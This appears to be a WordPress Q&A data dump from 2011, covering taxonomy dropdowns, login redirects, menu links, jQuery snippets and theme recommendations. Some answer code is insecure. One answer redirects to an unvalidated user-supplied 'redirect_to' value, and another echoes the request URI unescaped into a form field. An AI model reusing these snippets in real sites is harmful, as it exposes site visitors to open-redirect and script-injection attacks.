  <row Id="16021" PostTypeId="1" CreationDate="2011-04-30T09:26:35.483" Score="0" ViewCount="113" Body="&lt;p&gt;I need to replace the show_option_all (which show all my taxonomies),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a command to show three taxonomies (ID 14, 15, 16) and label this 'all'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, when someone selects 'all' i only want to show the results of the three taxonomies above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: i cant exclude the taxonomy from the search results as it will effect another search form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current code is: &lt;a href=&quot;http://pastebin.com/NJi2LQhY&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/NJi2LQhY&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paul&lt;/p&gt;&#xA;" OwnerUserId="5005" LastActivityDate="2011-04-30T19:41:56.170" Title="Taxonomy Dropdown Question" Tags="&lt;taxonomy&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16022" PostTypeId="2" ParentId="16016" CreationDate="2011-04-30T09:54:43.410" Score="2" ViewCount="" Body="&lt;p&gt;There is no filter for output of that function. You can fork (copy/rename/edit) it or add wrapper that will replace strings in output like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function short_time_diff( $from, $to = '' ) {&#xA;&#xA;    $diff = human_time_diff($from,$to);&#xA;&#xA;    $replace = array(&#xA;        'hour' =&amp;gt; 'h',&#xA;        'hours' =&amp;gt; 'h',&#xA;        'day' =&amp;gt; 'd',&#xA;        'days' =&amp;gt; 'd',&#xA;    );&#xA;&#xA;    return strtr($diff,$replace);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS afterthought - actually strings are localized so there is translation filter to use... But stuff to replace is to generic and that will risk breaking it elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-30T09:54:43.410" CommentCount="4" />
  <row Id="16023" PostTypeId="2" ParentId="16004" CreationDate="2011-04-30T10:43:56.010" Score="2" ViewCount="" Body="&lt;p&gt;You can do that easily. You just need to specify a redirection parameter.&#xA;If you are using a login link on the homepage to go to the login page, then @sisir's solution is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo wp_login_url( $_SERVER[&quot;HTTP_HOST&quot;] . $_SERVER[&quot;REQUEST_URI&quot;] ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a custom form on the frontpage, then inside the &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt;, make sure you fill in a hidden field with the url to redirect&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;&amp;lt;?php echo $_SERVER[&quot;HTTP_HOST&quot;] . $_SERVER[&quot;REQUEST_URI&quot;]; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you are using &lt;code&gt;wp_login_form()&lt;/code&gt; to generate the form, then fill in a parameter - &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_login_form&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_login_form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;        'echo' =&amp;gt; true,&#xA;        'redirect' =&amp;gt; site_url( $_SERVER['REQUEST_URI'] ), &#xA;        'form_id' =&amp;gt; 'loginform',&#xA;        'label_username' =&amp;gt; __( 'Username' ),&#xA;        'label_password' =&amp;gt; __( 'Password' ),&#xA;        'label_remember' =&amp;gt; __( 'Remember Me' ),&#xA;        'label_log_in' =&amp;gt; __( 'Log In' ),&#xA;        'id_username' =&amp;gt; 'user_login',&#xA;        'id_password' =&amp;gt; 'user_pass',&#xA;        'id_remember' =&amp;gt; 'rememberme',&#xA;        'id_submit' =&amp;gt; 'wp-submit',&#xA;        'remember' =&amp;gt; true,&#xA;        'value_username' =&amp;gt; NULL,&#xA;        'value_remember' =&amp;gt; false );&#xA;&#xA;wp_login_form( $args );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change other parameters as per what you have or need.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-30T10:43:56.010" />
  <row Id="16024" PostTypeId="1" AcceptedAnswerId="16037" CreationDate="2011-04-30T11:09:07.477" Score="1" ViewCount="120" Body="&lt;p&gt;In this website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://alexchen.info/brianfunshine/&quot; rel=&quot;nofollow&quot;&gt;http://alexchen.info/brianfunshine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a navigation menu taken from the twentyten theme. I want to make some links clickeable and some not (some don't have to behave like a link). I have accomplished this with some CSS but it doesn't work in all browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The links are dinamically generated with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-04-30T11:47:08.853" LastActivityDate="2011-05-02T05:56:39.527" Title="Making some links generated from the wp_nav-menu function unclickeable?" Tags="&lt;navigation&gt;" AnswerCount="4" CommentCount="7" />
  <row Id="16025" PostTypeId="2" ParentId="14174" CreationDate="2011-04-30T11:18:49.690" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried backing up your database of products and un-installing then re-installing the latest version of the plug ins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the latest update to wp ecommerce deals with store themes a bit differently so be sure to check out the getshopped site for info on how to avoid having theme issues&lt;/p&gt;&#xA;" OwnerUserId="4871" LastActivityDate="2011-04-30T11:18:49.690" />
  <row Id="16026" PostTypeId="2" ParentId="16024" CreationDate="2011-04-30T11:25:00.857" Score="0" ViewCount="" Body="&lt;p&gt;If you don't want a link to behave like a link, then don't make it a link - ie remove the &lt;code&gt;&amp;lt;a&amp;gt; &amp;lt;/a&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-30T11:25:00.857" CommentCount="3" />
  <row Id="16027" PostTypeId="2" ParentId="16024" CreationDate="2011-04-30T11:46:46.820" Score="1" ViewCount="" Body="&lt;p&gt;Use js to cancel the link behavior by returning false on click. This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;    $(&quot;#link-id&quot;).click(function(){&#xA;        return false;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-30T11:46:46.820" />
  <row Id="16028" PostTypeId="2" ParentId="15922" CreationDate="2011-04-30T11:56:01.573" Score="1" ViewCount="" Body="&lt;p&gt;Using &lt;code&gt;body_class()&lt;/code&gt;, by default, WordPress adds classes like &lt;code&gt;parent-pageid-43&lt;/code&gt; to it. This only goes one level deep, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below works for any ancestors of your parent pages, not just children. It relies on the &lt;a href=&quot;http://wordpress.org/extend/plugins/is-page-or-ancestor/&quot; rel=&quot;nofollow&quot;&gt;is_page_or_ancestor plugin&lt;/a&gt; for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As kaiser said, body classes are the way to go. You can define the name of the classes for each template yourself by modifying the &lt;code&gt;$parents&lt;/code&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('body_class', 'my_body_class', 10, 2);&#xA;&#xA;function my_body_class($wp_classes, $extra_classes)&#xA;{&#xA;    // List of parent pages with custom template&#xA;    $parents = array(&#xA;        // page ID =&amp;gt; body class&#xA;        43 =&amp;gt; 'template-a',&#xA;        57 =&amp;gt; 'template-b',&#xA;    );&#xA;&#xA;    // Loop over each parent&#xA;    foreach ($parents as $page_id =&amp;gt; $class)&#xA;    {&#xA;        // http://wordpress.org/extend/plugins/is-page-or-ancestor/&#xA;        if (is_page_or_ancestor($page_id))&#xA;        {&#xA;            // Add body class&#xA;            $wp_classes[] = $class;&#xA;        }&#xA;    }&#xA;&#xA;    // Add the extra classes back untouched&#xA;    return array_merge($wp_classes, (array) $extra_classes);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-04-30T11:56:01.573" />
  <row Id="16029" PostTypeId="2" ParentId="16024" CreationDate="2011-04-30T12:15:20.183" Score="1" ViewCount="" Body="&lt;p&gt;Via the menu admin in WordPress you can add a custom class, say &lt;code&gt;no-link&lt;/code&gt;, to the links you want to be unclickable. You may need to enable the custom class field via the display options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's two ideas, based on jQuery. Note that the links will still be there for those with JavaScript disabled.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;&#xA;    // Your navigation ID&#xA;    var $nav = $('#navbar');&#xA;&#xA;    // A. Completely remove the anchor element and replace it with a span&#xA;    $nav.find('li.no-link &amp;gt; a').wrapInner('&amp;lt;span/&amp;gt;').find('&amp;gt; span').unwrap('a');&#xA;&#xA;    // or&#xA;&#xA;    // B. Remove href attribute so nothing happens on click&#xA;    $nav.find('li.no-link &amp;gt; a').removeAttr('href');&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastEditorUserId="4936" LastEditorDisplayName="" LastEditDate="2011-05-02T05:56:39.527" LastActivityDate="2011-05-02T05:56:39.527" />
  <row Id="16030" PostTypeId="2" ParentId="16021" CreationDate="2011-04-30T12:36:46.030" Score="1" ViewCount="" Body="&lt;p&gt;when using &lt;code&gt;show_option_all&lt;/code&gt; with &lt;code&gt;wp_dropdown_categories&lt;/code&gt; it gets the value of '0' so you can just check using your &lt;code&gt;$_GET['property_types']&lt;/code&gt; if it is '0' you know i'll need to show results of &quot;all ID 14, 15, 16&quot;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-30T12:36:46.030" CommentCount="1" />
  <row Id="16031" PostTypeId="1" CreationDate="2011-04-30T12:51:12.403" Score="0" ViewCount="79" Body="&lt;p&gt;I'm trying to create an ecommerce site with wp using the wp e-commerce plug in with the premium gold cart plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I'm still just developing the theme for the store locallly I've only got about 10 products in the database that fall into two categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However on the main products page will only show 3 products. I've checked all the settings within the plug in but the problem isn't in there - on the category pages all the products appear, it's just on the main page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has experienced this or has even just a thought of what could be wrong I'd love to hear it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly it isn't live online as I can only use goldcart in one place at a time.&lt;/p&gt;&#xA;" OwnerUserId="4871" LastActivityDate="2011-04-30T12:51:12.403" Title="wp-ecommerce products missing" Tags="&lt;e-commerce&gt;&lt;plugin-wp-e-commerce&gt;&lt;wp-ecommerce&gt;" CommentCount="1" />
  <row Id="16032" PostTypeId="2" ParentId="14043" CreationDate="2011-04-30T13:00:10.357" Score="1" ViewCount="" Body="&lt;p&gt;the method I've been using is to find the item - such as a page title or whatever by using firebug extension for firefox. This will usually result in finding the related css class or id name for that item/element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in dreamweaver I use the search function to find that class name from all of the files in the wordpress wp-content folder. Not sure of other programs like dreamweaver that have this search function but surely they exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just wish there was a browser add on that would do for the php files what firebug does for css &amp;amp; html&lt;/p&gt;&#xA;" OwnerUserId="4871" LastActivityDate="2011-04-30T13:00:10.357" />
  <row Id="16033" PostTypeId="1" AcceptedAnswerId="16036" CreationDate="2011-04-30T13:24:02.983" Score="2" ViewCount="152" Body="&lt;p&gt;Hey guys,&lt;br&gt;&#xA;When adding an image to a page or post wordpress is automatically adding a paragraph tag as parent holding the image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;since there is no parent selector in CSS I'd love to find a solution to apply a specific classname to those paragraphs holding an actual image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea if I can use add_filter() to apply a classname to each p that holds an image?&lt;/p&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="4180" LastEditorDisplayName="" LastEditDate="2011-04-30T17:24:47.093" LastActivityDate="2011-05-06T12:58:09.343" Title="Apply class to every paragraph that holds image?" Tags="&lt;php&gt;&lt;functions&gt;&lt;add-filter&gt;" AnswerCount="1" />
  <row Id="16034" PostTypeId="1" AcceptedAnswerId="16044" CreationDate="2011-04-30T14:51:34.470" Score="13" ViewCount="276" Body="&lt;p&gt;&lt;strong&gt;Preamble&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm finding myself building more and more WP sites &quot;from scratch&quot; as it were (ie: ignoring any theme designs out there and just creating a design wireframe purely on the needs of the client. Then I go out and either shop around a theme that has the right basic structure, or I start with TwentyTen and fork a child theme from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently I've been getting the advice that maybe TwentyTen is not the best place to start as a base / parent theme because it's been stuffed with every technique possible in order to be a good learning platform. But maybe it's not the easiest or most efficient to customize (it has individual template.php pages for almost every part of the template hierarchy AND it has every template-part.php imaginable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And using existing themes (whether free themes, or themes from services like ThemeForest) is a bit of a crap-shoot - in terms of coding standards, usage of templates, template-parts or hooks, incompatibilities, etc etc. So that's not ideal either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like to whittle my starting choices to a small handful of really well-built, highly versatile, extremely barebones (light on design) themes that I could fork child themes from and adapt to my wireframe and design specs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Getting to the question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are your favourite &lt;strong&gt;barebones themes&lt;/strong&gt; for forking off child themes? Why do you like them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks so much for your advice!&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-05-01T02:31:46.373" LastActivityDate="2011-09-01T05:19:02.860" Title="Opinions and recommendations on the best barebones base theme" Tags="&lt;themes&gt;&lt;template&gt;&lt;best-practices&gt;&lt;child-theme&gt;" AnswerCount="3" FavoriteCount="9" />
  <row Id="16035" PostTypeId="2" ParentId="16034" CreationDate="2011-04-30T15:06:10.593" Score="0" ViewCount="" Body="&lt;p&gt;I am not completely sure from your description which parts you want to be persistent and which to be client-specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you build markup and stylesheet from scratch for every client and don't use much custom PHP - there isn't much left for parent theme to do here. If you do use some custom PHP in each project - it might make sense to just put together our own parent theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall the generic process is to look through parent themes / frameworks until (if ever) you find the one you like. See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3725/wordpress-frameworks-and-parent-themes&quot;&gt;WordPress frameworks and parent themes&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-30T15:06:10.593" CommentCount="2" />
  <row Id="16036" PostTypeId="2" ParentId="16033" CreationDate="2011-04-30T15:08:40.997" Score="3" ViewCount="" Body="&lt;p&gt;You could use jQuery if you don't mind to rely on JavaScript for adding the class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $('p:has(img)').addClass('image');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update: the &lt;code&gt;.has()&lt;/code&gt; method is probably faster, see this &lt;a href=&quot;http://jsperf.com/jquery-pseudo-selector-has-versus-method-has&quot; rel=&quot;nofollow&quot;&gt;jsperf.com test&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $('p').has('img').addClass('image');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastEditorUserId="4936" LastEditorDisplayName="" LastEditDate="2011-05-06T12:58:09.343" LastActivityDate="2011-05-06T12:58:09.343" />
  <row Id="16037" PostTypeId="2" ParentId="16024" CreationDate="2011-04-30T16:17:54.317" Score="1" ViewCount="" Body="&lt;p&gt;Create a custom menu item in the admin panel with a dummy URL, foo.com or whatever. Add it to the menu, then delete the target URL and save. The menu item will be rendered without an href attribute and will be unclickable.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-30T16:17:54.317" />
  <row Id="16038" PostTypeId="1" AcceptedAnswerId="16176" CreationDate="2011-04-30T16:25:19.410" Score="0" ViewCount="42" Body="&lt;p&gt;Does anyone know how to publish your own bookmarklet in a blog like wordpress or blogger? All of them seem to format the bookmarklet removing the javascript or messing it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g., pasting this in wordpress blog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&amp;lt;a href=&quot;javascript:(function(e,a,g,h,f,c,b,d){if(!(f=e.jQuery)||g&gt;f.fn.jquery||h(f)){c=a.createElement(&quot;script&quot;);c.type=&quot;text/javascript&quot;;c.src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/&quot;+g+&quot;/jquery.min.js&quot;;c.onload=c.onreadystatechange=function(){if(!b&amp;&amp;(!(d=this.readyState)||d==&quot;loaded&quot;||d==&quot;complete&quot;)){h((f=e.jQuery).noConflict(1),b=1);f(c).remove()}};a.documentElement.childNodes[0].appendChild(c)}})(window,document,&quot;1.3.2&quot;,function($,L){$.hide()});&quot; title=&quot;Run&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&amp;lt;a href=&quot;//ajax.googleapis.com/ajax/libs/jquery/&amp;quot;+g+&amp;quot;/jquery.min.js&amp;quot;;c.onload=c.onreadystatechange=function(){if(!b&amp;amp;&amp;amp;(!(d=this.readyState)||d==&amp;quot;loaded&amp;quot;||d==&amp;quot;complete&amp;quot;)){h((f=e.jQuery).noConflict(1),b=1);f(c).remove()}};a.documentElement.childNodes[0].appendChild(c)}})(window,document,&amp;quot;1.3.2&amp;quot;,function($,L){$.hide()});&quot;&amp;gt;Run jQuery Code&amp;lt;/a&amp;gt;&lt;/pre&gt;&#xA;" OwnerUserId="5007" LastActivityDate="2011-05-02T14:38:22.727" Title="Your own Bookmarklet in a blog" Tags="&lt;wordpress.com&gt;&lt;blogging&gt;&lt;bookmark&gt;" AnswerCount="3" />
  <row Id="16039" PostTypeId="1" CreationDate="2011-04-30T16:32:05.503" Score="1" ViewCount="173" Body="&lt;p&gt;Is there a minimalistic admin theme that works with WP 3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://meyerweb.com/eric/thoughts/2008/05/27/wordpress-adminimize-and-latest-tweet-plugins/&quot; rel=&quot;nofollow&quot;&gt;Adminimize&lt;/a&gt; looks nice, but isn't compatible with 3.x.&lt;/p&gt;&#xA;" OwnerUserId="2161" LastActivityDate="2011-05-13T10:03:01.723" Title="A minimalistic admin theme for a WP 3 install" Tags="&lt;themes&gt;&lt;wp-admin&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16040" PostTypeId="2" ParentId="16004" CreationDate="2011-04-30T16:41:27.603" Score="1" ViewCount="" Body="&lt;p&gt;Thanks all, I kind of used a bit of what everyone recommended so in the end my code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function restrict_access_if_logged_out(){&#xA;    if (!is_user_logged_in() &amp;amp;&amp;amp; !is_home()){&#xA;        wp_redirect( get_option('home') . '?redirect_to=' . esc_url($_SERVER[&quot;HTTP_HOST&quot;] . $_SERVER[&quot;REQUEST_URI&quot;]) );&#xA;    }&#xA;}&#xA;add_action( 'wp', 'restrict_access_if_logged_out', 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on my login form (I'm hardcoding my login form in my aplication thanks @Ashfame for letting me know about wp_login_form I had no idea it existed) I added this when user credentials are fine and they're ready to login:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_REQUEST['redirect_to'])){&#xA;    wp_redirect($_REQUEST['redirect_to']);&#xA;} else {&#xA;    wp_redirect(get_bloginfo('url') . '/groups/');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help, I voted up everyone!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-04-30T16:41:27.603" />
  <row Id="16041" PostTypeId="1" CreationDate="2011-04-30T16:53:38.900" Score="3" ViewCount="115" Body="&lt;p&gt;How do i change/filter the oembed max width settings (as set by ) admin -&gt; media -&gt; settings -&gt; &quot;Maximum embed size&quot; before the oembed code gets executed.  For example on the index pages i want it to be 540, but ona single page, i'd like to be 880?&lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-08-31T14:20:45.853" Title="Changing Oembed max width based type of page" Tags="&lt;oembed&gt;" AnswerCount="2" />
  <row Id="16044" PostTypeId="2" ParentId="16034" CreationDate="2011-04-30T17:52:46.230" Score="10" ViewCount="" Body="&lt;p&gt;Bare bone themes are great, personally I prefer them over frameworks. I have noticed that 'liking' one over another comes down to how it feels, so I would suggest trying several out until you find one. For instance a lot people like WordPress boilerplate but I could not get the hang of it. My current favorite is Handcrafted WP, since it very similar to my own custom theme that was also based on Toolbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some worth checking out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rootstheme.com/&quot; rel=&quot;nofollow&quot;&gt;Roots&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/simplethemes/skeleton_wp&quot; rel=&quot;nofollow&quot;&gt;Skeleton&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://randyjensenonline.com/thoughts/handcrafted-wp-starter-theme/&quot; rel=&quot;nofollow&quot;&gt;Handcrafted WP&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://html5.mimoymima.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress Shell&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://themeshaper.com/2010/07/02/toolbox-html5-starter-theme/&quot; rel=&quot;nofollow&quot;&gt;ToolBox&lt;/a&gt; (my old fav)&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/murtaugh/HTML5-Reset-Wordpress-Theme&quot; rel=&quot;nofollow&quot;&gt;HTML5 reset&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.twentytenfive.com/&quot; rel=&quot;nofollow&quot;&gt;TwentyTen Five&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/themes/boilerplate&quot; rel=&quot;nofollow&quot;&gt;Boilerplate&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/zencoder/html5-boilerplate-for-wordpress&quot; rel=&quot;nofollow&quot;&gt;HTML5 Boilerplate&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.thatstandardsguy.co.uk/2009/04/brave-new-world-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;Starker HTML5&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/nathanstaines/starkers-html5&quot; rel=&quot;nofollow&quot;&gt;Starkers HTML5 V3&lt;/a&gt;    &lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-09-01T05:19:02.860" LastActivityDate="2011-09-01T05:19:02.860" CommentCount="2" />
  <row Id="16045" PostTypeId="1" CreationDate="2011-04-30T17:55:37.150" Score="2" ViewCount="225" Body="&lt;p&gt;I've setup a traveling/photography blog. I want to have different post types: Traveling, Hotel Reviews, etc. For the traveling post, I want to add unique data like: City, Weather (for the current time for that day), Geotag meta data (long. and lat.). etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to custom taxonomies, custom post types and custom fields. For example, I don't know when I should use custom taxonomies and when to use custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many plugins out there that I thought buying, here are two of them:&#xA;&lt;a href=&quot;http://codecanyon.net/item/easy-custom-content-types-for-wordpress/234182&quot; rel=&quot;nofollow&quot;&gt;http://codecanyon.net/item/easy-custom-content-types-for-wordpress/234182&lt;/a&gt;&#xA;http://www.dev4press.com/plugins/gd-taxonomies-tools/features/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Add a city for a custom post type (choose from a list of cities using a drop down list of the cities that I've added to a list) and also attach an image of the city to the bottom of my post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Choose a weather and use an icon to show the user the current weather for that day of shooting&#xA;3) Have a URL like:&#xA;&lt;a href=&quot;http://mydomain.com/city-name&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/city-name&lt;/a&gt;&#xA;http://mydomain.com/city-name/post-name.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As city-name would be the taxonomy - but what if I have several taxonomies, how can I build my permalink structure to maintain that structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Optimization &amp;amp; speed - From what I've read, I need to use a numerical value as the first element in my permalink structure in order to minimize stress on my WordPress DB and also to prevent WordPress from creating verbose rules. Does that imply to taxonomies in the URL too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many questions that I don't have answer for. I am very confused with all the plugins and information out there any really need help from you guys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5011" LastActivityDate="2011-05-30T22:55:41.063" Title="What should I use - Taxonomies, custom fields, Post Type?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;custom-field&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="16046" PostTypeId="1" CreationDate="2011-04-30T18:50:47.710" Score="3" ViewCount="150" Body="&lt;p&gt;I am looking for a simple TOC plugin for WordPress that would create a ToC similar to the one from MediaWiki (Wikipedia). Usually I need this only for big pages and the TOC needs to be generated based on heading from the post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that the number of pages need TOC is quite small, it should be ok to enable this plugin only for some of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found several solutions, but none of them seamed ok. The closest one was Hackadelic SEO Table Of Contents, but this one had two big issues: contained a AD link and no way to enable it only for specific pages.&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-24T21:42:39.083" LastActivityDate="2011-05-24T21:42:39.083" Title="Looking for a Table of Contents (TOC) plugin for WordPress" Tags="&lt;plugins&gt;&lt;structure&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="16047" PostTypeId="2" ParentId="16045" CreationDate="2011-04-30T19:15:02.317" Score="0" ViewCount="" Body="&lt;p&gt;if you do not mind forking out some cash WPMUDEV has a solution for you that might work and make it easy to use its called Custom Press it uses wordpress new 3.0 features and the best part is the content gets stored in wordpresses normal database tables so there is no worry if you decide to quit using it down the road. Here is the link to it &lt;a href=&quot;http://premium.wpmudev.org/project/custompress&quot; rel=&quot;nofollow&quot;&gt;WPMUDEV - Custom Press&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One nice feature about this is it creates new panels in the admin area for each area. You can also setup custom fields, taxonomies, templates, etc.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-30T19:15:02.317" />
  <row Id="16048" PostTypeId="2" ParentId="16039" CreationDate="2011-04-30T19:22:35.353" Score="0" ViewCount="" Body="&lt;p&gt;I know there are some out there but since wordpress 3.0 is fairly new i do not think people have been wanting themes as much for the back-end. If you are decent at css you can try and make your own based off of either Adminimize or the current backend. You pretty much just want to get rid of most of the images, scripts right?&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-30T19:22:35.353" />
  <row Id="16049" PostTypeId="2" ParentId="16034" CreationDate="2011-04-30T19:33:54.273" Score="1" ViewCount="" Body="&lt;p&gt;I personally have a few favs but also have some of my own that i have made. But the one i will use out of online pickings is the handcrafted wp as mentioned by Wyck&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-30T19:33:54.273" CommentCount="2" />
